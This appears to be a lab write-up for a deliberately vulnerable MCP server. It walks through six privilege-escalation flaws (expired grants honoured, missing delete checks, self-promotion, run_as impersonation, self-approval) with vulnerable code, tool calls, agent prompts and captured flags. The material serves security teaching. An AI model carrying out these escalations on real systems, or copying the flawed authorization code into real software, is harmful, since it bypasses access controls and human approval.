MCP02 - Privilege Escalation via Scope Creep

In MCP01 we took the tokens. Now let's take the permissions.

Dwight Schrute meme. Top caption: ROLE: VIEWER. Bottom caption: PERMISSIONS: ASSISTANT TO THE ADMIN.

From tokens to permissions

A token proves who you are. That was MCP01.

A permission decides what you are allowed to do. That is MCP02.

What a permission is

A permission is one action an account is allowed to do. It has a name.

Here are four of them:

view_projects
view_logs
deploy_to_staging
comment_on_issues

Here is how they get used. The deploy_release tool deploys a project:

  • Deploy to staging needs deploy_to_staging. The account has it, so it works.
  • Deploy to production needs deploy_to_production. The account does not have it, so it fails.

What privilege escalation is

Privilege escalation is when an account performs an action it should not be allowed to perform.

Example: You currently have read-only access, but due to some misconfiguration/vulnerability, you are able to perform administrative actions.


Lab setup

setting up MCP Server

git clone https://github.com/truststrikelabs/damn-vulnerable-mcp-servers.git
cd damn-vulnerable-mcp-servers
pip3 install -r requirements.txt --break-system-packages

Start Web UI and leave it running:

python3 gui/run.py

Open http://127.0.0.1:8410, pick MCP02 from the sidebar, and press Start lab. That serves:

Server ID:    platform_mcp
MCP endpoint: http://127.0.0.1:8401/mcp

setting up MCP client

npx @modelcontextprotocol/inspector

Inspector Configuration

Add server
Server ID: platform_mcp
Transport: streamable-http
URL: http://127.0.0.1:8401/mcp

claude

claude mcp add -s project --transport http platform_mcp http://127.0.0.1:8401/mcp

codex

codex mcp add platform_mcp --url http://127.0.0.1:8401/mcp

Restart claude/codex chat windows for mcp to load.


Lab background

TrustStrike Corp ships its own software from an internal release platform. Three services live on it: payments-api handles billing, checkout-web is where customers sign up, and infra-manifests is the infrastructure underneath.

Engineers deploy those services to staging and production, run infrastructure jobs, and raise a change request for anything touching production. Every account has a role, and the role decides what you may do.

platform_mcp is where all of that is driven from.

Who you are

You are dozy, a Viewer account on the platform. Start by asking what you are allowed to do.

Tools > my_access

1. Expired Permission Still Works

Your production access expired on 14 March. Try to deploy any project to production environment.

Vulnerable Code

def _granted_permissions(account: str) -> list[str]:
    """Every permission on the account, whether or not it has expired."""
    ledger = [grant["permission"] for grant in database.grants_for(account)]
    return sorted(set(ledger + _role_permissions(account)))


...

required = ENVIRONMENT_PERMISSIONS[target]
if required not in _granted_permissions(AGENT_ACCOUNT):
    return {
        "status": "rejected",
        "account": AGENT_ACCOUNT,
        "message": f"Missing permission: {required}",
    }

expires_at is loaded from the ledger, returned in the response, and never compared to anything.

Lab Walkthrough

Using MCP Inspector:

Tools > my_access
Tools > deploy_release    project = payments-api
                          environment = production

Using AI prompt:

ShowHide
Call my_access and read the temporary_grants block.
Note which permission has already expired.
Call deploy_release for payments-api with environment set to production.
Show the complete response.

Response

my_access answers first:

{
  "account": "dozy",
  "role": "viewer",
  "permissions": [
    "comment_on_issues",
    "deploy_to_staging",
    "view_logs",
    "view_projects"
  ],
  "permissions_from_role": [],
  "temporary_grants": [
    {
      "account": "dozy",
      "permission": "deploy_to_production",
      "granted_by": "claire.dawson",
      "granted_at": "2026-03-12",
      "expires_at": "2026-03-14",
      "justification": "INC-4471 hotfix, remove after",
      "expired": true,
      "status": "expired"
    }
  ],
  "available_roles": ["viewer", "deployer", "admin"]
}

Four permissions and a Viewer role. Somebody granted production access during an incident in March and wrote "remove after" in the justification. Nobody removed it.

deploy_release response:

{
  "deployment_id": "dep_production_832be0d2",
  "project": "payments-api",
  "environment": "production",
  "status": "deployed",
  "authorization": {
    "account": "dozy",
    "permission_used": "deploy_to_production",
    "granted_by": "claire.dawson",
    "expires_at": "2026-03-14",
    "expiry_checked": false
  },
  "escalation": {
    "reason": "An expired permission was accepted",
    "expired_on": "2026-03-14",
    "impact": "dozy deployed payments-api to production on a permission that stopped being valid on 2026-03-14.",
      "audit_reference": "FLAG{expired_access_a1b2c3d4e5}"
  }
}

2. Delete With No Permission Check

Your role is Viewer. Nothing in your permission list mentions deleting. Try to delete any artifact from the production environment.

Vulnerable Code

@mcp.tool(structured_output=False)
def delete_artifact(artifact_id: str) -> dict[str, Any]:
    """Delete a stored build artifact returned by list_artifacts."""
    artifact = _find_artifact(artifact_id)
    if artifact is None:
        return {
            "status": "rejected",
            "message": f"Unknown artifact: {artifact_id}",
            "allowed_artifacts": [item["artifact_id"] for item in ARTIFACTS],
        }

    ARTIFACTS.remove(artifact)
    ...

There is a check. It confirms the artifact exists. Nothing asks whether you are allowed to remove it.

Lab Walkthrough

Using MCP Inspector:

Tools > list_artifacts
Tools > delete_artifact    artifact_id = art_2b58

Using AI prompt:

ShowHide
Call my_access and confirm your permission list has nothing that allows deleting.
Call list_artifacts and choose an artifact_id.
Call delete_artifact for that artifact_id.
Show the complete response.

Response

{
  "artifact_id": "art_2b58",
  "project": "payments-api",
  "environment": "production",
  "status": "deleted",
  "authorization": {
    "account": "dozy",
    "caller_role": "viewer",
    "permission_required": "delete_artifacts",
    "permission_checked": false
  },
  "escalation": {
    "reason": "The tool ran no authorization check",
    "impact": "A production build artifact for payments-api was destroyed by an account that holds no delete permission.",
      "audit_reference": "FLAG{missing_check_a1b2c3d4e5}"
  }
}

Viewer permissions can also delete the artificat which should not be allowed.


3. Promote Your Own Account

You are dozy and having viewer permissions. change_role was built for the IT admin, and it was never restricted to the IT admin. Elevate your role to admin.

Vulnerable Code

previous_role = _role_for(target)
ACCOUNT_ROLES[target] = new_role
result: dict[str, Any] = {
    "account": target,
    "previous_role": previous_role,
    "role": new_role,
    "status": "updated",
    "permissions": _active_permissions(target),
    "authorization": {
        "changed_by": AGENT_ACCOUNT,
        "approval_required": True,
        "approved_by": None,
    },
}

Lab Walkthrough

Using MCP Inspector:

Tools > my_access
Tools > change_role    account = dozy
                       role = admin

Using AI prompt:

ShowHide
Call my_access to confirm your current role and the available roles.
Call change_role with account set to dozy and role set to admin.
Show the complete response.

Response

{
  "account": "dozy",
  "previous_role": "viewer",
  "role": "admin",
  "status": "updated",
  "permissions": [
    "approve_changes",
    "comment_on_issues",
    "deploy_to_staging",
    "manage_accounts",
    "view_audit_log",
    "view_logs",
    "view_projects"
  ],
  "authorization": {
    "changed_by": "dozy",
    "approval_required": true,
    "approved_by": null
  },
  "escalation": {
    "reason": "An account raised its own role with no approval",
    "impact": "dozy now holds every admin permission, including manage_accounts and approve_changes, with no record of who authorised it.",
      "audit_reference": "FLAG{self_promote_a1b2c3d4e5}"
  }
}

approval_required: true and approved_by: null, in the response, on a request that succeeded.


4. Borrow the CI Bot's Account

Your account cannot run the infra-apply job. The ci-deploy-bot account can. Run infra-apply as the bot.

Start by asking what jobs exist.

Tools > list_jobs
{
  "count": 2,
  "jobs": [
    {
      "job": "staging-deploy",
      "description": "Builds and ships a project to staging.",
      "required_permission": "deploy_to_staging"
    },
    {
      "job": "infra-apply",
      "description": "Applies infra-manifests to production infrastructure.",
      "required_permission": "run_infra_jobs"
    }
  ]
}

You hold deploy_to_staging, so staging-deploy would run. infra-apply wants run_infra_jobs, which is not on your list.

Try to run it with your account, it will reject it.

Tools > run_job    job = infra-apply
{
  "status": "rejected",
  "message": "dozy is missing permission: run_infra_jobs",
  "job": "infra-apply"
}

Vulnerable Code

identity = run_as.strip().lower() or AGENT_ACCOUNT
...

required = selected["required_permission"]
if required not in _active_permissions(identity):
    return {
        "status": "rejected",
        "message": f"{identity} is missing permission: {required}",
        "job": selected["job"],
    }

The permission check is correct. It even honours expiry, which challenge 1 did not. It just runs against whatever account you typed into run_as.

Lab Walkthrough

Using MCP Inspector:

Tools > list_jobs
Tools > run_job         job = infra-apply
Tools > list_accounts
Tools > run_job         job = infra-apply
                        run_as = ci-deploy-bot

Using AI prompt:

ShowHide
Call list_jobs and find the job that applies infra manifests.
Call run_job with that job and read the refusal.
Call list_accounts and find the account that holds run_infra_jobs.
Call run_job again with the same job and run_as set to that account.
Show the complete response.

Response

{
  "job_run_id": "run_eee39bfb",
  "job": "infra-apply",
  "status": "completed",
  "authorization": {
    "caller": "dozy",
    "identity_used": "ci-deploy-bot",
    "permission_used": "run_infra_jobs",
    "identity_verified": false
  },
  "escalation": {
    "reason": "The job ran under another account's permissions",
    "borrowed_from": "ci-deploy-bot",
    "impact": "Production infrastructure changed under ci-deploy-bot, an account shared by three teams. Nothing in the log will ever say it was dozy.",
      "audit_reference": "FLAG{impersonation_a1b2c3d4e5}"
  }
}

We used ci-deploy-bot to run the jobs which our account doesn’t have permissions.


5. Approve Your Own Change

You raised new PR(pull request) CHG-204, changes need to be approved by admin, try approving with your account (dozy).

Vulnerable Code

signed_by = approver.strip().lower()
change["status"] = "approved"
change["approved_by"] = signed_by
result: dict[str, Any] = {
    "change_id": change["change_id"],
    "status": "approved",
    "authorization": {
        "raised_by": change["raised_by"],
        "approved_by": signed_by,
        "required_approver_role": change["required_approver_role"],
        "approver_verified": False,
    },
}

Our account doesn’t have permissions to approve the PR but still we can approve any pull request with required_approver_role

Lab Walkthrough

Using MCP Inspector:

Tools > list_changes
Resources > policy://platform/access-rules
Tools > approve_change    change_id = CHG-204
                          approver = dozy

Using AI prompt:

ShowHide
Call list_changes and find a change that is waiting for approval.
Note which account raised it.
Read policy://platform/access-rules and check who is allowed to approve a change.
Call approve_change with that change_id and approver set to the account that raised it.
Show the complete response.

Response

The policy of platform:

{
  "document": "TrustStrike Corp access rules",
  "version": "2026.1",
  "rules": [
    "A temporary grant stops working on its expiry date.",
    "An access request must be approved by an account holding the admin role.",
    "An approver must never be the account that raised the request or change.",
    "A role change requires an approval record naming the approver.",
    "A platform job runs under the calling account, never under another account.",
    "Every destructive action checks a permission before it runs."
  ],
  "requestable_permissions": [
    "manage_accounts",
    "delete_artifacts",
    "approve_changes",
    "view_audit_log"
  ],
  "note": "These are the written rules. Compare them with what the tools actually do."
}

Rule three is the one being tested here: an approver must never be the account that raised the change. Now sign your own change:

{
  "change_id": "CHG-204",
  "title": "Deploy payments-api 4.2.0 to production",
  "status": "approved",
  "authorization": {
    "raised_by": "dozy",
    "approved_by": "dozy",
    "required_approver_role": "admin",
    "approver_verified": false
  },
  "escalation": {
    "reason": "The account that raised the change also approved it",
    "impact": "Deploy payments-api 4.2.0 to production is cleared to ship with no second person involved.",
      "audit_reference": "FLAG{self_approval_a1b2c3d4e5}"
  }
}

raised_by and approved_by are the same account , due to that we are able to approve our own raised request.


6. The Request That Approves Itself

You do not have manage_accounts. Request it, then read the approval record.

Vulnerable Code

requester = AGENT_ACCOUNT
approver = approver.strip().lower() or requester
granted = database.add_grant(
    account=requester,
    permission=wanted,
    granted_by=approver,
    justification="",
)

approver = approver.strip().lower() or requester -> this is the problem:

If it is empty, it uses the requester as the approver.

So the account approves its own permission.

Lab Walkthrough

Using MCP Inspector:

Resources > policy://platform/access-rules
Tools > request_access    permission = manage_accounts

Using AI prompt:

ShowHide
Read policy://platform/access-rules and note the requestable permissions and the rule about approvers.
Call request_access with one of those permissions and do not supply an approver.
Show the complete response and compare approved_by with requested_by.

Response

{
  "request_id": "req_23714486",
  "permission": "manage_accounts",
  "status": "approved",
  "authorization": {
    "requested_by": "dozy",
    "approved_by": "dozy",
    "approved_at": "<today>",
    "approver_verified": false
  },
  "permissions": [
    "comment_on_issues",
    "deploy_to_staging",
    "manage_accounts",
    "view_logs",
    "view_projects"
  ],
  "escalation": {
    "reason": "The approver defaulted to the requester",
    "impact": "dozy now holds manage_accounts permanently. The grant has no expiry and no justification, and nothing will ever remove it.",
      "audit_reference": "FLAG{auto_approval_a1b2c3d4e5}"
  }
}

requested_by and approved_by is the same which is dozy. The manged accounts is approved by same account.


Reference

MCP02 Privilege Escalation Scope Creep